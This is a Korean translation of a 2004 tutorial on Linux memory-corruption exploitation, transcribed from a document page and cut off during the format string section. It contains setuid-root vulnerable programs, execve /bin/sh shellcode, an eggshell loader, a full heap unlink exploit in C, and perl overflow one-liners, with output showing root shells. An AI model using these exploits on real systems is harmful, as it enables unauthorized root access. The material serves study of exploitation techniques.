"Analysis of the Exploitation Processes"

Size: px
Start display at page:

Download ""Analysis of the Exploitation Processes""

Transcription

1 "Analysis of the Exploitation Processes" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Steven Hill aka: SolarIce (c) 2004 편역 : poc@securityproof.net 이글은원문의소스코드를그대로유지하면서역자의개인서버에서다시테스트된것을바탕으로새롭게 정리된것입니다. 일부섹션은원문과많이달라졌습니다. 원문의내용과비교하면서공부하는것도좋을 것같습니다. 원문을충실히읽어보시길권합니다.

2 Table of Contents: ~~~~~~~~~~~~~~~~~~ I. Forward II. Types of Vulnerabilities a: Stack overwrite b: Heap overwrite c: Function pointer overwrite d: Format string III. Exploitation Methods a: Stack exploitation b: Heap exploitation c: Function pointer exploitation d: Format string exploitation e: Return-to-libc exploitation IV. Summary V. References

3 [I] Forward: ~~~~~~~~~~~~ 이글에서다루는내용은다음과같다. * Stack exploitation * Heap exploitation * Function pointer exploitation * Format string exploitation * Return-to-libc exploitation 이글을이해하기위해서는 C, 어셈블리어, gdb, 쉘코드등에대한기본지식이필요하다. [II] Types of Vulnerabilities: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ a: Stack overwrite ~~~~~~~~~~~~~~~~~~~ buffer overflow 로도알려진 stack overwrite 는이미많은문서에서다루어진것으로, 굳이여기에 포함시키는이유는다른것의바탕이되기때문이며, 이문서전체를이해하는데필수적이기때문이다. stack overwrite의목적은 buffer를 overflow시켜 stack에위치한 EIP instaruction pointer 를쉘코드의주소로덮어쓰는것이다. 호출되었던함수가자신의작업을한이후리턴할때 EIP register에위치한주소가실행되고, 그결과취약한프로그램또는프로세스의권한으로쉘코드를실행하게된다. 만약취약한프로그램이 suid/sgid root의권한으로되어있다면공격성공시 root 권한을획득하게된다. b: Heap overwrite ~~~~~~~~~~~~~~~~~~ Heap overwrite 는 stack overwrite 와아주유사한취약점이다. 하지만스택에위치한 EIP 를덮어쓰는 것대신 malloc() 과같은함수의호출을통해할당되는영역을덮어쓴다. 동적으로할당된버퍼를 오버플로우시킴으로써 data 는 heap 상에연속적으로할당되어있는섹션으로흘러갈수있다. 이것은 heap 영역의주요내용을수정하게할수있게하는것이다.

4 c: Function pointer overwrite ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.bss section ~~~~~~~~~~~~ function pointer overwrite 는포인터그자체에접근할수있을때유용하다. 만약우리가포인터그 자체에접근할수있다면쉘코드의주소로 static buffer 를오버플로우시켜공격대상의포인터를덮어쓸 수있다. 프로세스 ( 프로그램 ) 가코드를실행하는동안공격대상이되는함수의포인터를호출하면이미 쉘코드의주소로덮어쓰인그포인터는 setreuid shell 을실행하게될것이다. d: Format string ~~~~~~~~~~~~~~~~~ Format string 취약점은공격자의입장에서는운이좋은셈인데, 그이유는거의어떤주소라도 공격자는공격자자신이제공한특정한주소 (return address,.dtors,.got 섹션등등 ) 로덮어쓸수 있기때문이다. 포맷버그는 printf, snprintf 등의함수가프로그램에서사용될때 format specifier 를지정하지않고사용될때발생한다. 이 format specifier를사용하지않을경우공격자는 printf() 와같은함수에대한파라미터로 format specifier를제공할수있다. 이것을통해스택으로부터직접적으로 stack frame의내용을파악할수있게된다. 그리고공격자는메모리의 user-space 영역에접근할수있다. 이공격에서중요한것은그 user-space에대한 offset을찾아내는것이다. 여기서 offset이란쉘코드나다른공격주소로덮어쓸주소를말한다. [III] Exploitation Methods: ~~~~~~~~~~~~~~~~~~~~~~~~~~~ a: Stack exploitation ~~~~~~~~~~~~~~~~~~~~~~ 이제기본적인준비를한다. [root@localhost poc]# cat > vul.c #include <stdio.h> #include <string.h>

5 #include <stdlib.h> int main(int argc, char **argv) { char buffer[1024]; if(argc > 1) strcpy(buffer, argv[1]); return EXIT_SUCCESS; } [root@localhost poc]# gcc -o vul vul.c [root@localhost poc]# chown root vul [root@localhost poc]# chgrp root vul [root@localhost poc]# chmod 4755 vul [root@localhost poc]# ls -l vul -rwsr-xr-x 1 root root 월 10 16:13 vul [root@localhost poc]# 이제공격에사용될쉘코드를만들어보자. 원문에서는아주간단하게쉘코드를추출할수있는방법을 제시하고있다. 다음은그방법과과정이며, 참고하길바란다. [root@localhost poc]# su poc [poc@localhost poc]$ cat > shelltostring.c #include <stdio.h> #include <stdlib.h> char shell[] = //setreuid(0, 0); "\x31\xc0" // xorl %eax, %eax "\x31\xdb" // xorl %ebx,%ebx "\xb0\x46" // movb $0x46,%al "\xcd\x80" // int $0x80 //execve(argv[0], &argv[0], NULL); "\x31\xc0" // xorl %eax,%eax "\x31\xd2" // xorl %edx,%edx "\x52" // pushl %edx "\x68\x2f\x2f\x73\x68" // pushl $0x68732f2f

6 "\x68\x2f\x62\x69\x6e" // pushl $0x6e69622f "\x89\xe3" // movl %esp,%ebx "\x52" // pushl %edx "\x53" // pushl %ebx "\x89\xe1" // movl %esp,%ecx "\xb0\x0b" // movb $0xb,%al "\xcd\x80"; // int $0x80 int main(void) { FILE *fp; int x; fp = fopen("tinyshell", "wb"); for(x = 0; x < strlen(shell); x++) fprintf(fp, "%c", shell[x]); printf("bytes: %d\n", strlen(shell)); fclose(fp); return EXIT_SUCCESS; } [poc@localhost poc]$ gcc o shelltostring shelltostring.c [poc@localhost poc]$./shelltostring Bytes: 33 [poc@localhost poc]$ xxd -g1 tinyshell : 31 c0 31 db b0 46 cd c0 31 d f 2f 1.1..F..1.1.Rh// : f e 89 e e1 b0 0b cd shh/bin..rs : 80. [poc@localhost poc]$ xxd 명령을사용하여쉘코드를추출하였는데, xxd 의사용법은다음과같다. [poc@localhost poc]$ xxd -h Usage: xxd [options] [infile [outfile]] or

7 xxd -r [-s [-]offset] [-c cols] [-ps] [infile [outfile]] Options: -a toggle autoskip: A single '*' replaces nul-lines. Default off. -b binary digit dump (incompatible with -p,-i,-r). Default hex. -c cols format <cols> octets per line. Default 16 (-i: 12, -ps: 30). -E show characters in EBCDIC. Default ASCII. -g number of octets per group in normal output. Default 2. -h print this summary. -i output in C include file style. -l len stop after <len> octets. -ps output in postscript plain hexdump style. -r reverse operation: convert (or patch) hexdump into binary. -r -s off revert with <off> added to file positions found in hexdump. -s [+][-]seek start at <seek> bytes abs. (or +: rel.) infile offset. -u use upper case hex letters. -v show version: "xxd V oct98 by Juergen Weigert". [poc@localhost poc]$ 이제공격에필요한셀코드를문자열형태로추출해냈다. 스택기반의오버플로우취약점을공략하는방법들중에서가장일반적인방법은환경변수 (environment variable) 에쉘코드를올려두고, 그주소로 EIP를덮어쓰는것이다. 쉘코드를환경변수에등록시켜주는대표적인방법은 eggshell이란프로그램을사용하는것이다. [poc@localhost poc]$ cat > eggshell.c #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 #define NOP 0x90 char shellcode[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */

8 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_esp(void) { } asm ("movl %esp,%eax"); int main(int argc, char *argv[]) { char *buff, *ptr, *egg; long *addr_ptr, addr; int offset=default_offset, bsize=default_buffer_size; int i, eggsize=default_egg_size; if (argc > 1) bsize = atoi(argv[1]); if (argc > 2) offset = atoi(argv[2]); if (argc > 3) eggsize = atoi(argv[3]); if (!(buff = malloc(bsize))) { printf("can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("can't allocate memory.\n"); exit(0); } addr = get_esp() - offset; printf("using address: 0x%x\n", addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) { *(addr_ptr++) = addr;

9 } ptr = egg; for (i = 0; i < eggsize - strlen(shellcode) - 1; i++) *(ptr++) = NOP; for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"egg=",4); putenv(egg); memcpy(buff,"ret=",4); putenv(buff); system("/bin/bash"); } [poc@localhost poc]$ gcc -o eggshell eggshell.c [poc@localhost poc]$./eggshell Using address: 0xbffff9b8 [poc@localhost poc]$ 쉘코드가환경변수에등록되어있고, 그주소를알아냈다. 이제남은것은이주소로스택상에위치한 EIP를덮어쓰는것이다. EIP를덮어쓰기위해얼마만큼의데이터가필요한지확인해야한다. 이것은 gdb를통해간단하게알아낼수있다. 취약한프로그램의소스만보고입력할데이터의양을결정하면안된다. 이것은 gcc 버전에따라 dummy 값이들어가기때문이다. [poc@localhost poc]$ gdb vul GNU gdb Red Hat Linux ( ) Copyright 2002 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas main

10 Dump of assembler code for function main: 0x <main>: push %ebp 0x <main+1>: mov %esp,%ebp 0x804832b <main+3>: sub $0x408,%esp 0x <main+9>: and $0xfffffff0,%esp 0x <main+12>: mov $0x0,%eax 0x <main+17>: sub %eax,%esp 0x804833b <main+19>: cmpl $0x1,0x8(%ebp) 0x804833f <main+23>: jle 0x804835b <main+51> 0x <main+25>: sub $0x8,%esp 0x <main+28>: mov 0xc(%ebp),%eax 0x <main+31>: add $0x4,%eax 0x804834a <main+34>: pushl (%eax) 0x804834c <main+36>: lea 0xfffffbf8(%ebp),%eax 0x <main+42>: push %eax 0x <main+43>: call 0x <strcpy> 0x <main+48>: add $0x10,%esp 0x804835b <main+51>: mov $0x0,%eax 0x <main+56>: leave 0x <main+57>: ret 0x <main+58>: nop 0x <main+59>: nop End of assembler dump. (gdb) q [poc@localhost poc]$ 위의결과를보면로컬변수를위해 0x408 바이트가할당되어있다. 16 진수 0x408 는십진수로 1032 바이트이다. 소스와비교해보면 8 바이트의 dummy 값이들어가있는것을알수있다. 이제버퍼로부터 EIP 까지의 offset 은 1036 이라는것을확인할수있다. 이것의이유는다음과같다. buffer(1024) dummy(8) EBP(4) EIP(return address) 우리가덮어쓰야할것은 EIP 이다. 그래서 EIP 까지덮어쓰려면 1040 바이트가필요하다.

11 poc]$./vu `perl -e 'print "A"x1036,"\xb8\xf9\xff\xbf"'` sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# whoami root sh-2.05b# root 쉘을획득했다. argv[1] 으로입력된데이터는 A가 1036 바이트, 주소값 4 바이트, 총 1040 바이트가입력되었고, 그래서먼저 buffer(1032 할당되어있음 ) 를오버플로우시켜, EBP(4 바이트 ) 와 EIP(4 바이트 ) 까지덮어쓰게되었다. 더구체적으로말하면 buffer와 EBP는 A로, EIP는쉘코드를가지고있는환경변수의주소로 overwrite된다. b: Heap exploitation ~~~~~~~~~~~~~~~~~~~~~ 샘플용취약프로그램은다음과같고, 기본적인준비를한다. [root@localhost poc]# cat > vul.c #include <stdio.h> #include <stdlib.h> #define LEN 256 int main(int argc, char **argv) { char *buf1 = (char *)malloc(len); char *buf2 = (char *)malloc(len); strcpy(buf1, argv[1]); free(buf1); free(buf2); } [root@localhost poc]# chmod 4755 vul [root@localhost poc]# ls -l vul -rwsr-xr-x 1 root root 월 10 17:57 vul

12 poc]# su poc poc]$./vul `perl -e 'print "A"x260'` 세그멘테이션오류 poc]$ vul 프로그램의취약부분은 heap 영역에서발생하는 double free() 취약점이다. 좀더나아가기전에 malloc() 에의해할당된 heap 영역의메모리구조와 free 된후의메모리구조를알아보자. 먼저 malloc() 에의해동적으로할당되었지만아직 free 되지않은상태의메모리구조는다음과같다. data prev_inuse prev_size size malloc_usable_space() junk ^ ^ ^ ^ ^ ^----- bytes 1 bit bytes bytes 다음은 free 된상태의메모리구조이다. data prev_inuse prev_size size fd bk junk ^ ^ ^ ^ ^ ^ ^----- bytes 1 bit bytes bytes bytes bytes 공격에서염두에두어야할부분은 fd와 bk인데, 보통 fd에덮어쓰고자하는메모리의주소를쓰고, bk에쉘코드의주소를쓴다. 여기서 fd는 forward pointer를의미하고, bk는 back pointer를의미한다. 이두포인터는서로나란히연결되어있기때문에영문으로작성된문서들을보면 doubly-linked list라는표현이나오는것이다. 기억해두어야할것은 free() 함수는내부적으로 unlink() 함수를통해링크된리스트로부터 chunk 를 제거하며, malloc() 에의해동적으로할당된메모리부분인 chunk 에있는데이터는 fd 와 bk 포인터가 free 된 chunk 에위치한곳에서시작한다는것이다. 다음은 malloc.c 에서나오는 unlink() 함수에대한정의이다. 옆에있는주석은 nipon 이라는사람이 Overwriting.dtors using Malloc Chunk Corruption 이라는글에서달아놓은것이다.

13 #define unlink(p, BK, FD) { FD = P->fd; BK = P->bk; FD->bk = BK; BK->fd = FD; // FD made pointer to the chunk forward in list // BK made pointer to the chunk previous in list // [A] pointer to previous chunk is assigned to bk of next chunk // [B] pointer to next chunk is assigned to fd of prev chunk } 여기서 A 와 B 는다음과같은도표에서나온것이니참고하길바란다 <-Begin chunk A prev_size (size of the previous chunk) size (size of this chunk) fd (pointer to next chunk in bin) bk (pointer to previous chunk in bin) (free space of any length) <-End of chunk A, Beginning of B prev_size (size of chunk A) free chunk의이중으로링크된리스트는위의도표 A와 B의메모리영역에두번쓰기를통해업데이트가되는데, bk와 fd 각각의값에서그두번쓰기가발생하고, 이때 offset이조정이되며, fd에대해서는 8 바이트, bk에대해서는 12 바이트씩조절된다. 즉, bk는 fd chunk로복사되며 (bk 필드에 12 바이트추가 ), fd는 bk chunk로복사된다 (fd 필드에 8 바이트추가 ). 이제부터본격적으로공격에들어가보자. 먼저원본에서사용된방법을그대로사용하도록해보자. 물론그 과정에서약간의변화는있지만본질적으로는같다. 제일먼저확인해야할정보는 dynamic relocation entry 에있는 free() 함수의주소이다. 이주소는 objdump 명령을사용하면간단하게알아낼수있다. [poc@localhost poc]$ objdump -R./vul grep free R_386_JUMP_SLOT free [poc@localhost poc]$ 그런데이주소를그대로공격에서사용하는것이아니라 12 바이트만큼빼고사용해야한다. 따라서

14 0x 가아니라 0x 이사용된다. 이것의이유는 unlink 의과정에대해이야기했던 것처럼 fd 는덮어쓰고자하는곳의 12 바이트를추가한주소에특정값을쓰기때문이다. 다음으로해야할작업은쉘코드를환경변수에등록하는것이다. 이것은 eggshell을이용하면될것이다. 하지만주의해야할것은앞에서도말했지만공격시사용할 shellcode의주소다음의 8 바이트부분에 unlink과정에서원하지않은주소값이들어가므로이 8 바이트를넘어서야한다. 즉, free() 에의해사용되는 unlink() 호출동안처음 8 바이트만큼분리되기때문에쉘코드의시작부분으로 jump할수있도록 jmp opcode(\xeb\x0e 혹은 \xeb\x0a) 를사용해야한다. 쉘코드와의간격이어느정도인지는 gdb를사용해서알아낸다. export 명령을이용해환경변수에쉘코드를등록시킨다. [poc@localhost poc]$ export SHELLCODE="\xeb\x0eAAAAAAAAAAAAAAA\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\ x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56 \x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh" [poc@localhost poc]$ 제대로등록되어있는지 env 명령을통해확인해보자. [poc@localhost poc]$ env HOSTNAME=localhost.localdomain SHELLCODE=\xeb\x0eAAAAAAAAAAAAAAA\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x1f\x 5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\ x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh PVM_RSH=/usr/bin/rsh SHELL=/bin/bash TERM=vt100 HISTSIZE=1000 JLESSCHARSET=ko QTDIR=/usr/lib/qt3-gcc3.2 SSH_TTY=/dev/pts/1 USER=poc LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:o r=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;

15 32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01; 31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*. tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35: PVM_ROOT=/usr/share/pvm3 USERNAME=root PATH=/usr/kerberos/sbin:/usr/kerberos/bin:/usr/local/sbin:/usr/local/bin:/sbin:/bin :/usr/sbin:/usr/bin:/usr/x11r6/bin:/root/bin MAIL=/var/spool/mail/root PWD=/home/poc INPUTRC=/etc/inputrc LANG=ko_KR.eucKR LAMHELPFILE=/etc/lam/lam-helpfile SSH_ASKPASS=/usr/libexec/openssh/gnome-ssh-askpass HOME=/home/poc SHLVL=2 XPVM_ROOT=/usr/share/pvm3/xpvm BASH_ENV=/root/.bashrc LOGNAME=poc LESSOPEN= /usr/bin/lesspipe.sh %s G_BROKEN_FILENAMES=1 _=/bin/env poc]$ 환경변수에제대로등록되어있다. 이제이 SHELLCODE 라는환경변수의주소를찾아야한다. 역자는 다음과같은간단한프로그램을작성하였다. poc]$ cat > getenv.c #include <stdlib.h> #include <stdio.h> int main(int argc, char *argv[]) { char *addr; addr=getenv(argv[1]);

16 } printf("address of %s: %p\n",argv[1],addr); return 0; poc]$ make getenv cc getenv.c -o getenv poc]$./getenv SHELLCODE Address of SHELLCODE: 0xbffffac2 poc]$ 쉘코드가등록되어있는주소를확인하였다. 그다음으로해야할것은 PREV_INUSE 비트를설정하는 것이다. 이를위해 little endian order 에서첫번째비트 (lowest bit) 를임의의수로바꾼다. 마지막으로해야할것은 prev_size 와 size 필드에대한음수값을설정하는것이다. 그런데이값은 PREV_SIZE 에서사용한값을그대로사용할수있다. 이제는모든준비가된것이다. 마지막으로공격 payload 에맞게설정하여공격하면된다. 원문의내용과다소달라졌는데, 원문과비교해서공부해보길바란다. 이섹션의마지막으로프랙 57호에실린 Vudo malloc tricks란글에서사용된 source와 exploit을수정하여 vul2 프로그램을공략해보도록하겠다. 먼저 exploit을작성하는데필요한정보를찾아보자. 과정에대한자세한설명은생략한다. 앞으로프로그램과거의유사한것이므로 exploit을작성하는원리를이해하는데도움이될것이다. poc]# cat > vul2.c #include <stdlib.h> #include <string.h> int main( int argc, char * argv[] ) { char * first, * second; first = malloc( 666 ); second = malloc( 12 ); strcpy( first, argv[1] ); free( first );

17 free( second ); return( 0 ); } [root@localhost poc]# make vul2 cc vul2.c -o vul2 [root@localhost poc]# chmod 4755 vul2 [root@localhost poc]# su poc [poc@localhost poc]$ objdump -R vul2 grep free R_386_JUMP_SLOT free [poc@localhost poc]$ ltrace./vul2 2>&1 > grep 256 libc_start_main(0x , 2, 0xbffffa64, 0x , 0x <unfinished...> malloc(666) = 0x malloc(12) = 0x strcpy(0x , "256") = 0x free(0x ) = <void> free(0x ) = <void> +++ exited (status 0) +++ [poc@localhost poc]$ [poc@localhost poc]$ cat > exploit.c #include <string.h> #include <unistd.h> #define FUNCTION_POINTER ( 0x ) #define CODE_ADDRESS ( 0x *4 ) #define VULNERABLE "./vul2" #define DUMMY 0xdefaced #define PREV_INUSE 0x1 char shellcode[] = /* jump instruction */ "\xeb\x0appssssffff"

18 "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */ "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; int main( void ) { char * p; char argv1[ ]; char * argv[] = { VULNERABLE, argv1, NULL }; p = argv1; *( (void **)p ) = (void *)( DUMMY ); p += 4; *( (void **)p ) = (void *)( DUMMY ); p += 4; memcpy( p, shellcode, strlen(shellcode) ); p += strlen( shellcode ); memset( p, 'B', (680-4*4) - (2*4 + strlen(shellcode)) ); p += ( 680-4*4 ) - ( 2*4 + strlen(shellcode) ); *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE ); p += 4; *( (size_t *)p ) = (size_t)( -4 ); p += 4; *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 ); p += 4; *( (void **)p ) = (void *)( CODE_ADDRESS ); p += 4; *p = '\0'; execve( argv[0], argv, NULL ); return( -1 ); } [poc@localhost poc]$ make exploit cc exploit.c -o exploit

19 poc]$./exploit sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b# c: Function pointer exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~.bss section ~~~~~~~~~~~~ Sample vulnerable process. bss]$ cat > vul.c #include <stdio.h> #include <string.h> #include <stdlib.h> #define LEN 256 void output(char *); int main(int argc, char **argv) { static char buffer[len]; static void (*func) (char *); func = output; strcpy(buffer, argv[1]); func(buffer); return EXIT_SUCCESS; } void output(char *string) { fprintf(stdout, "%s", string); }

20 bss]$ gcc -o vul vul.c bss]$ su Password: bss]# chown root vul bss]# chgrp root vul bss]# chmod 4755 vul bss]# ls -l vul -rwsr-xr-x 1 root root 월 10 23:50 vul [root@localhost bss]# heap 을다룰때 heap 은위로자란다는것을보았을것이다. 그래서위의소스를보면만약공격자가 256 바이트의 junk data 와쉘코드의주소를입력하게되면 func() 의포인터를덮어쓸수있다. 하지만만약프로그램이실행과정동안에 func() 함수의포인터를사용하지않는다면 func() 함수의 포인터를덮어쓰는것자체로는공격에성공할수없다. 너무나당연한말이다. gdb 를사용해서간단히 알아보자. [poc@localhost bss]$ gdb -q vul (gdb) disas main Dump of assembler code for function main: 0x <main>: push %ebp 0x <main+1>: mov %esp,%ebp 0x <main+3>: sub $0x8,%esp 0x804838a <main+6>: and $0xfffffff0,%esp 0x804838d <main+9>: mov $0x0,%eax 0x <main+14>: sub %eax,%esp 0x <main+16>: movl $0x80483d0,0x x804839e <main+26>: sub $0x8,%esp 0x80483a1 <main+29>: mov 0xc(%ebp),%eax 0x80483a4 <main+32>: add $0x4,%eax 0x80483a7 <main+35>: pushl (%eax) 0x80483a9 <main+37>: push $0x x80483ae <main+42>: call 0x80482c4 <strcpy> 0x80483b3 <main+47>: add $0x10,%esp 0x80483b6 <main+50>: sub $0xc,%esp

21 0x80483b9 <main+53>: push $0x x80483be <main+58>: mov 0x ,%eax 0x80483c3 <main+63>: call *%eax 0x80483c5 <main+65>: add $0x10,%esp 0x80483c8 <main+68>: mov $0x0,%eax 0x80483cd <main+73>: leave 0x80483ce <main+74>: ret 0x80483cf <main+75>: nop End of assembler dump. (gdb) main inf sec Exec file: `/home/poc/bss/vul', file type elf32-i386. 0x080480f4->0x at 0x000000f4:.interp ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x at 0x :.note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x at 0x :.hash ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x080481c8 at 0x :.dynsym ALLOC LOAD READONLY DATA HAS_CONTENTS 0x080481c8->0x at 0x000001c8:.dynstr ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x at 0x :.gnu.version ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x at 0x :.gnu.version_r ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x at 0x :.rel.dyn ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x c at 0x :.rel.plt ALLOC LOAD READONLY DATA HAS_CONTENTS 0x c->0x at 0x c:.init ALLOC LOAD READONLY CODE HAS_CONTENTS 0x >0x080482d4 at 0x :.plt ALLOC LOAD READONLY CODE HAS_CONTENTS 0x080482d4->0x at 0x000002d4:.text ALLOC LOAD READONLY CODE HAS_CONTENTS 0x >0x at 0x :.fini ALLOC LOAD READONLY CODE HAS_CONTENTS 0x >0x f at 0x :.rodata ALLOC LOAD READONLY DATA HAS_CONTENTS 0x >0x c at 0x :.data ALLOC LOAD DATA HAS_CONTENTS 0x c->0x at 0x c:.eh_frame ALLOC LOAD DATA HAS_CONTENTS 0x >0x at 0x :.dynamic ALLOC LOAD DATA HAS_CONTENTS 0x >0x at 0x :.ctors ALLOC LOAD DATA HAS_CONTENTS 0x >0x at 0x :.dtors ALLOC LOAD DATA HAS_CONTENTS 0x >0x c at 0x :.jcr ALLOC LOAD DATA HAS_CONTENTS 0x c->0x at 0x c:.got ALLOC LOAD DATA HAS_CONTENTS

22 0x >0x at 0x :.bss ALLOC 0x >0x at 0x :.comment READONLY HAS_CONTENTS 0x >0x at 0x :.debug_aranges READONLY HAS_CONTENTS 0x >0x at 0x000006f0:.debug_pubnames READONLY HAS_CONTENTS 0x >0x00000c85 at 0x :.debug_info READONLY HAS_CONTENTS 0x >0x at 0x a:.debug_abbrev READONLY HAS_CONTENTS 0x >0x000001f2 at 0x000014c1:.debug_line READONLY HAS_CONTENTS 0x >0x at 0x000016b4:.debug_frame READONLY HAS_CONTENTS 0x >0x a at 0x000016c8:.debug_str READONLY HAS_CONTENTS (gdb) 이결과를보면 strcpy() 함수호출후 func() 함수의호출 (0x80483c3 <main+63>: call *%eax) 이있음을확인할수있다. 그리고.bss 영역의주소범위를확인할수있다. 다음은공격과정이다. 여기서도역시 eggshell 을사용했다. bss]$./eggshell Using address: 0xbffff9c8 bss]$./vul `perl -e 'print "A"x251,"\xc8\xf9\xff\xbf"'` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bss]$./vul `perl -e 'print "A"x252,"\xc8\xf9\xff\xbf"'` 세그멘테이션오류 bss]$ 세그멘테이션오류가나는지점을확인했다. 여기에 4 바이트만더더해공략하면성공할것이다. [poc@localhost bss]$./vul `perl -e 'print "A"x256,"\xc8\xf9\xff\xbf"'` sh-2.05b# id uid=0(root) gid=501(poc) groups=501(poc) sh-2.05b#

23 d: Format string exploitation ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 취약한프로그램은다음과같다. fsb]$ cat > vul.c #include <stdio.h> int main(int argc, char **argv) { char buffer[256]; snprintf(buffer, sizeof(buffer), "%s", argv[1]); fprintf(stdout, buffer); } [poc@localhost fsb]$ gcc -o vul vul.c [poc@localhost fsb]$ su Password: [root@localhost fsb]# chown root vul [root@localhost fsb]# chgrp root vul [root@localhost fsb]# chmod 4755 vul [root@localhost fsb]# ls -l vul -rwsr-xr-x 1 root root 월 11 02:19 vul [root@localhost fsb]# Format string 버그를공략하는것은보기처럼어렵지않다. 쓸만한계산기가필요하다. format string 버그를공략할때도환경변수에쉘코드를등록할필요가있다. 이를위해 eggshell 을사용하면 역시간단하다. 포맷스트링공격에서먼저해야할것은스택상에 user-space 영역에대한 offset을확인하는것이다. 이 user-space는공격자가통제할수있으며, 포맷스트링공격의성공에중요한부분이다. offset을확인하는방법에는두가지가있다. 첫번째방법은공격자가입력한데이터가다음과같이출력될때까지스택으로부터 pop되도록 %x 또는 %p 지정자를 argv[1] 로입력하는것이다. 원문에는없지만. 을넣은것은구분을쉽게하기위해서이다. [poc@localhost fsb]$./vul AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p AAAA.0x804841c.0xbffffb4c.0x x2e70252e.0x252e7025.0x70252e70.0x2e70252e.0x

24 252e7025.0x70252e70.0x2e70252e.0x252e7025.0x7 fsb]$ fsb]$./vul AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x AAAA c.bffffb e78252e.252e e78.2e78252e.252e e7 8.2e78252e.252e e78.2e78252e.252e782 fsb]$ A 의문자열이나타나는지점인 offset 은 3 이라는것을알수있다. offset 을확인하는두번째방법은 다음과같이위치지정자 (placement specifier) $ 를사용하는것이다. [poc@localhost fsb]$./vul AAAA%1\$p AAAA0x804841c [poc@localhost fsb]$./vul AAAA%2\$p AAAA0xbffffb43 [poc@localhost fsb]$./vul AAAA%3\$p AAAA0x [poc@localhost fsb]$ 공격을위해쉘코드의주소로덮어쓸주소가필요하다. 리턴어드레스를덮어쓰기도하고,.dtors 섹션을덮어쓰기도하는데, 리턴어드레스를 gdb를통해알아내도 gdb가스택을이용하기때문에정확한주소를파악하기가힘들다. 힘들기보다는확인한주소와실제주소사이에차이가날수있다. 그래서포맷스트링공격에서는.dtors 섹션을덮어쓰는것이더용이하다. 취약한프로세스의 DTOR_END 주소를파악해서사용하는데, 이주소가프로그램이 exit할때호출되는주소이기때문이다. 다음과같이간단하게확인할수있다. [poc@localhost fsb]$ readelf -a./vul grep DTOR_END 48: OBJECT LOCAL DEFAULT 19 DTOR_END [poc@localhost fsb]$ 이제까지우리는 offset 을비롯하여쉘코드의주소, DTOR_END 의주소를확인했다. 이제해야할것은이

